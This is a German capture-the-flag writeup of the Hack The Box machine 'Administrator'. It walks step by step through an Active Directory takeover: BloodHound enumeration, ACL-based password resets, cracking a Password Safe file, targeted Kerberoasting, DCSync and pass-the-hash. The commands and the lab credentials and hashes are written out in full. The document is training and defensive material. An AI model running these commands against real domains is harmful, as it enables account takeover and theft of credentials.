HTB · published
Administrator
Hack The Box CPTS-Track Writeup für Administrator: Active Directory ACL Abuse, Password Reset Chain, Password Safe Loot, targeted Kerberoasting, DCSync und Pass-the-Hash zu Domain Admin.
Metadaten
- Name: Administrator
- IP Address:
10.129.8.143 - Plattform: Windows
- Kategorie: Active Directory / ACL Abuse / Kerberoasting / DCSync
- Schwierigkeit: Medium
- Ziel(e): User, Domain Admin
- Kurzbeschreibung des Szenarios: Administrator ist eine assumed-breach Active-Directory-Machine. Der Weg zur Kompromittierung besteht nicht aus einem klassischen Exploit, sondern aus einer sauber verketteten AD-Rechtekette: Password Reset über ACLs, Loot aus FTP, Cracken einer Password-Safe-Datenbank, targeted Kerberoasting und final DCSync.
Reconnaissance/ Enumeration
initscan:
nmap -p- --min-rate 5000 -T4 -oA scans/nmap_allports 10.129.8.143
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
Die offenen Ports zeigten direkt ein typisches Active-Directory-Ziel mit LDAP, Kerberos, SMB, WinRM und ADWS. Zusätzlich war FTP offen, was später wichtig wurde.
servicescan:
nmap -sC -sV -p 21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001 -oA scans/nmap_targeted 10.129.8.143
21/tcp open ftp Microsoft ftpd
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0
Domain: administrator.htb
Host: DC
SMB signing: enabled and required
Clock skew: about 7h
Der Zeitversatz war wichtig, weil Kerberos-Tickets sonst schnell fehlschlagen. Für Kerberos-Tools wurde daher mit faketime gearbeitet.
Die Machine ist assumed-breach. Der initiale Credential-Satz war:
Olivia : ichliebedich
Der Zugriff ließ sich per SMB validieren:
smbclient -L //10.129.8.143/ -U 'administrator.htb\Olivia%ichliebedich'
Für die AD-Analyse wurde BloodHound genutzt:
bloodhound-python -u Olivia -p 'ichliebedich' -d administrator.htb -ns 10.129.8.143 -c All --zip
Die entscheidenden Kontrollpfade waren:
Olivia -- GenericAll --> Michael
Michael -- ForceChangePassword --> Benjamin
Emily -- GenericWrite --> Ethan
Ethan -- GetChanges/GetChangesAll --> Domain
Damit war klar: Die Maschine ist eine AD-Misconfiguration-Chain. Jeder Schritt öffnet den nächsten Account.
Exploitation (Foothold)
Olivia zu Michael
Da Olivia GenericAll auf Michael hatte, konnte Michaels Passwort direkt zurückgesetzt werden:
bloodyAD --host 10.129.8.143 -d administrator.htb -u Olivia -p 'ichliebedich' set password michael 'Michael@2026!'
Michael : Michael@2026!
Michael zu Benjamin
Michael hatte wiederum ForceChangePassword auf Benjamin. Damit konnte auch Benjamins Passwort gesetzt werden:
bloodyAD --host 10.129.8.143 -d administrator.htb -u michael -p 'Michael@2026!' set password benjamin 'Benjamin@2026!'
Benjamin : Benjamin@2026!
Mit Benjamin war der offene FTP-Dienst nutzbar:
ftp 10.129.8.143
Im FTP lag eine Password-Safe-Datenbank:
Backup.psafe3
Die Datei wurde heruntergeladen und mit pwsafe2john für John vorbereitet:
pwsafe2john Backup.psafe3 > backup.hash
john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt
Backup.psafe3 : tekieromucho
Nach dem Entschlüsseln der Password-Safe-Datenbank wurden mehrere Credentials sichtbar:
emily : UXLCI5iETUsIBoFVTj8yQFKoHjXmb
alexander : UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emma : WwANQWnmJnGV07WQN8bMS7FMAbjNur
Emily war der nächste wichtige Account, da sie interaktiven Zugriff über WinRM erlaubte.
evil-winrm -i 10.129.8.143 -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
User Flag:
type C:\Users\emily\Desktop\user.txt
d1fba[REDACTED-USER-FLAG]e633
Lateral Movement / User Escalation
Emily war nicht direkt Domain Admin, hatte aber GenericWrite auf Ethan. Dadurch konnte Ethan temporär ein SPN gesetzt werden, um einen Kerberoast-Hash anzufordern.
SPN setzen:
bloodyAD --host 10.129.8.143 -d administrator.htb -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' set object ethan servicePrincipalName HTTP/ethanroast.administrator.htb
TGS anfordern:
faketime -f +7h impacket-GetUserSPNs administrator.htb/emily:'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -dc-ip 10.129.8.143 -request-user ethan -request
Der Zeitversatz wurde hier bewusst mit faketime ausgeglichen, da Kerberos sonst unzuverlässig war.
Den Kerberoast-Hash anschließend offline cracken:
john ethan_tgs.hash --wordlist=/usr/share/wordlists/rockyou.txt
ethan : limpbizkit
Damit war Ethan kompromittiert. Der entscheidende Punkt: Ethan hatte Replikationsrechte auf die Domain.
Privilege Escalation (Root / Domain)
Ethan besaß GetChanges und GetChangesAll auf der Domain. Das ist der klassische DCSync-Pfad, weil ein Account damit Domain-Controller-Replikation nachahmen und Passwortmaterial abfragen kann.
DCSync gegen den Administrator-Account:
impacket-secretsdump administrator.htb/ethan:'limpbizkit'@10.129.8.143 -just-dc-user Administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Mit dem NTLM-Hash war Pass-the-Hash per WinRM möglich:
evil-winrm -i 10.129.8.143 -u Administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e
Root Flag:
type C:\Users\Administrator\Desktop\root.txt
ae2f2[REDACTED-ROOT-FLAG]fc58
Die vollständige Angriffskette:
Olivia
-> GenericAll auf Michael
-> Password Reset Michael
-> ForceChangePassword auf Benjamin
-> FTP-Zugriff
-> Backup.psafe3
-> Password Safe Crack
-> Emily Credentials
-> GenericWrite auf Ethan
-> targeted Kerberoasting
-> Ethan Credentials
-> DCSync
-> Administrator NTLM
-> Pass-the-Hash WinRM
Post-Exploitation
- User Flag:
d1fba[REDACTED-USER-FLAG]e633 - Root Flag:
ae2f2[REDACTED-ROOT-FLAG]fc58 - Wichtige Accounts:
Olivia,michael,benjamin,emily,ethan,Administrator - Wichtige Dateien:
Backup.psafe3,backup.hash,ethan_tgs.hash, BloodHound-Collection - Wichtige Rechte:
GenericAll,ForceChangePassword,GenericWrite,GetChanges,GetChangesAll - Impact: Vollständige Domain-Kompromittierung ohne CVE, rein durch AD-ACL-Fehlkonfigurationen und schwache Passwort-/Vault-Hygiene.
Lessons Learned
- Wichtigster Aha-Moment: Die komplette Maschine fällt über eine AD-Rechtekette. Kein Exploit war nötig, nur saubere Enumeration und konsequentes Ausnutzen der ACLs.
- Früher prüfen: Nach assumed-breach Credentials lohnt sich BloodHound extrem früh. Die relevanten Kanten waren direkt sichtbar und haben den gesamten Pfad erklärt.
- Technik merken:
GenericWriteauf einen User kann für targeted Kerberoasting reichen, wenn ein temporärer SPN gesetzt werden darf. - Credential Hygiene: Ein schwach geschützter Password Safe auf FTP ist praktisch ein Credential-Bundle für den Angreifer.
- DCSync erkennen:
GetChangesplusGetChangesAllist Tier-0-kritisch. Solche Rechte gehören nicht auf normale User. - Kerberos-Zeit: Starker Clock-Skew kann falsche Fehlerbilder erzeugen. Zeitabgleich bzw.
faketimespart hier unnötiges Debugging.
Notizen
- SMB-Signing war aktiv und erforderlich, hat den Angriffspfad aber nicht verhindert, weil die Schwachstelle in AD-Rechten lag.
- FTP Anonymous war nicht erlaubt; der Dienst wurde erst mit Benjamin relevant.
- Alternative Pfade ab Emily wären Shadow Credentials oder RBCD gewesen, aber der Kerberoast war durch das schwache Ethan-Passwort der schnellste Weg.
- Nach DCSync wäre neben Pass-the-Hash auch weiteres Ticket- oder Persistence-Material möglich gewesen. Für das Writeup reichte der saubere Administrator-Zugriff.